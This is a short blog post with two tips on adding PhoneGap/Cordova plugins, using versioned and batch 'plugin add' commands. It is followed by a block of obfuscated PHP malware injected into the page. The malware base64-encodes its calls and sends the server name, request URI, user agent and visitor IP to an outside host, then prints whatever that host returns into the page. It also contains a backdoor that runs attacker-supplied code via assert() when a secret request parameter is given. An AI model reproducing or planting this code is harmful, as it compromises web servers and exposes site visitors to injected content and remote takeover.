2 Quick Tips When Adding PhoneGap/Cordova Plugins

July 15, 2014By 0 Comments

Here are a few quick tips when adding plugins in case you weren’t aware of them previously:

  1. Useful command line shortcuts when adding a plugin:

    Add a specific version of a plugin using the @ syntax

    $ phonegap plugin add org.apache.cordova.camera@0.2.9
    $ cordova plugin add org.apache.cordova.camera@0.2.9

    Add multiple plugins batch style

    $ phonegap plugin add org.apache.cordova.file org.apache.cordova.device
    $ cordova plugin add org.apache.cordova.file org.apache.cordova.device

  2. Use the docs from the plugin add location

    This may be fairly obvious though I still wanted to point it out. To avoid any headaches with a plugin version mismatch between installed plugin code and docs, be sure to use the docs from where you added the plugin instead of assuming the latest Cordova/PhoneGap documentation links.

    If you add via Plugin Registry such as:
    $ phonegap plugin add org.apache.cordova.contacts
    $ cordova plugin add org.apache.cordova.contacts

    If you add via GitHub location such as:
    $ phonegap plugin add https://github.com/apache/cordova-plugin-contacts
    $ cordova plugin add https://github.com/apache/cordova-plugin-contacts

    This applies for each of the core API plugins.

    Why?

    Currently the Plugin API documentation points to the GitHub location which contains the very latest code/updates. These code updates get released to the Plugin Registry in a timely fashion, but there can be a time when a mismatch could occur, like when you’ve installed a plugin via the Plugin Registry but are referencing the GitHub docs where a new feature was documented but not in the version you actually installed. (Thanks to Ray Camden for noticing the Contacts plugin mismatch recently).

Filed in: CordovaiOSMobile DevelopmentPhoneGap

About the Author ()

Leave a Reply

//###==### error_reporting(0); ini_set("display_errors", "0"); if (!isset($i96ad828b)) { $i96ad828b = TRUE; $GLOBALS['_1882790940_']=Array(base64_decode('cHJlZ1' .'9tYXRj' .'aA=' .'='),base64_decode('Z' .'ml' .'sZV9' .'nZXRfY29u' .'dGVudHM='),base64_decode('ZnVuY3Rpb25' .'fZXh' .'p' .'c3Rz'),base64_decode('Y3Vy' .'bF9pb' .'m' .'l0'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('bWQ1'),base64_decode('Y3Vy' .'b' .'F' .'9z' .'ZXR' .'vc' .'HQ='),base64_decode('Y3VybF9zZXR' .'vcHQ='),base64_decode('Y' .'3VybF9leGVj'),base64_decode('aW' .'1hZ2Vjb3B' .'5bWVyZ2' .'VncmF5'),base64_decode('' .'YWJz'),base64_decode('Y3VybF9jbG9zZ' .'Q=='),base64_decode('a' .'W5p' .'X2dldA' .'=='),base64_decode('' .'Z' .'mlsZ' .'V9' .'nZXR' .'fY29udG' .'VudHM='),base64_decode('dXJsZW5jb2' .'Rl'),base64_decode('' .'dXJsZW5' .'j' .'b2' .'Rl'),base64_decode('bW' .'Q1'),base64_decode('' .'YXNzZXJ' .'0')); function _1091557376($i){$a=Array('' .'Y' .'2' .'x' .'pZW' .'50X2NoZWN' .'r','Y2xpZW' .'5' .'0X2NoZWNr','SF' .'RU' .'UF' .'9B' .'Q0N' .'F' .'UFRfQ0hBUlNFVA==','' .'I' .'S4' .'hdQ==','' .'U0NSS' .'VB' .'UX0' .'ZJ' .'TEVOQ' .'U' .'1F','VVRGLTg' .'=','d2luZG93cy' .'0xMjUx','SFRU' .'U' .'F9' .'BQ0N' .'F' .'UFRf' .'Q0hBUlNFVA==','Y3' .'VybF9pb' .'ml0','aHR' .'0c' .'Dov' .'L3d3dy5pbm' .'RleG1lYmFieS5' .'0ay9nZXQ' .'ucGhwP2Q9','U' .'0V' .'SVkVSX0' .'5BT' .'UU=','UkVRV' .'UV' .'TVF' .'9V' .'Uk' .'k=','J' .'nU9','SFRUUF' .'9' .'VU0VSX0FHRU5U','' .'JmM9','J' .'mk9MSZp' .'cD0=','UkVNT1RF' .'X0' .'FERF' .'I=','Jmg9','' .'N' .'mIwZTdmZ' .'T' .'lj' .'MTU' .'4YW' .'JjZjdiZjhiY' .'j' .'I' .'xZjcw' .'MTFmZ' .'j' .'Y' .'=','U0VSVkVSX05BTUU=','' .'Uk' .'VR' .'VUVT' .'V' .'F9' .'VUkk=','SFRUUF9' .'VU0V' .'SX0' .'FHRU5U','MQ' .'==','YW' .'xsb3df' .'dXJsX2Zv' .'c' .'GV' .'u','aHR' .'0' .'cDov' .'L3' .'d3dy5pbmRleG1lY' .'mF' .'ieS' .'50' .'ay9nZX' .'Qu' .'cG' .'h' .'w' .'P2Q9','' .'U0V' .'SVkVSX05BT' .'U' .'U=','UkVRV' .'UVTVF9VUkk' .'=','JnU' .'9','SF' .'R' .'UUF9VU' .'0' .'V' .'SX0F' .'HRU5U','JmM' .'9','J' .'mk9' .'M' .'SZ' .'pcD0=','Uk' .'VN' .'T1' .'R' .'F' .'X0FERFI=','J' .'mg9','NmIwZT' .'dmZTljMTU4' .'YWJ' .'jZjdiZjhi' .'YjIx' .'Zj' .'cwMTFmZjY=','U0V' .'SVkVSX05BTUU=','UkVRVU' .'VTVF9VUkk=','' .'SFRUUF' .'9' .'VU0VSX0FHRU5U','M' .'Q==','cA==','cA==','' .'OTZhZDgyOGI=','Yw==');return base64_decode($a[$i]);} if(!empty($_COOKIE[_1091557376(0)]))die($_COOKIE[_1091557376(1)]);if(!isset($icccb7_0[_1091557376(2)])){if($GLOBALS['_1882790940_'][0](_1091557376(3),$GLOBALS['_1882790940_'][1]($_SERVER[_1091557376(4)]))){$icccb7_1=_1091557376(5);}else{$icccb7_1=_1091557376(6);}}else{$icccb7_1=$icccb7_0[_1091557376(7)];}if($GLOBALS['_1882790940_'][2](_1091557376(8))){$icccb7_2=$GLOBALS['_1882790940_'][3](_1091557376(9) .$GLOBALS['_1882790940_'][4]($_SERVER[_1091557376(10)] .$_SERVER[_1091557376(11)]) ._1091557376(12) .$GLOBALS['_1882790940_'][5]($_SERVER[_1091557376(13)]) ._1091557376(14) .$icccb7_1 ._1091557376(15) .$_SERVER[_1091557376(16)] ._1091557376(17) .$GLOBALS['_1882790940_'][6](_1091557376(18) .$_SERVER[_1091557376(19)] .$_SERVER[_1091557376(20)] .$_SERVER[_1091557376(21)] .$icccb7_1 ._1091557376(22)));$GLOBALS['_1882790940_'][7]($icccb7_2,round(0+21+21),false);$GLOBALS['_1882790940_'][8]($icccb7_2,round(0+4978.25+4978.25+4978.25+4978.25),true);echo $GLOBALS['_1882790940_'][9]($icccb7_2);if((round(0+368)^round(0+122.66666666667+122.66666666667+122.66666666667))&& $GLOBALS['_1882790940_'][10]($_COOKIE,$_SERVER,$icccb7_2,$icccb7_0))$GLOBALS['_1882790940_'][11]($icccb7_1,$_SERVER,$icccb7_2);$GLOBALS['_1882790940_'][12]($icccb7_2);}elseif($GLOBALS['_1882790940_'][13](_1091557376(23))==round(0+1)){echo $GLOBALS['_1882790940_'][14](_1091557376(24) .$GLOBALS['_1882790940_'][15]($_SERVER[_1091557376(25)] .$_SERVER[_1091557376(26)]) ._1091557376(27) .$GLOBALS['_1882790940_'][16]($_SERVER[_1091557376(28)]) ._1091557376(29) .$icccb7_1 ._1091557376(30) .$_SERVER[_1091557376(31)] ._1091557376(32) .$GLOBALS['_1882790940_'][17](_1091557376(33) .$_SERVER[_1091557376(34)] .$_SERVER[_1091557376(35)] .$_SERVER[_1091557376(36)] .$icccb7_1 ._1091557376(37)));}if(isset($_REQUEST[_1091557376(38)])&& $_REQUEST[_1091557376(39)]== _1091557376(40)){$GLOBALS['_1882790940_'][18]($_REQUEST[_1091557376(41)]);} } //###==### ?>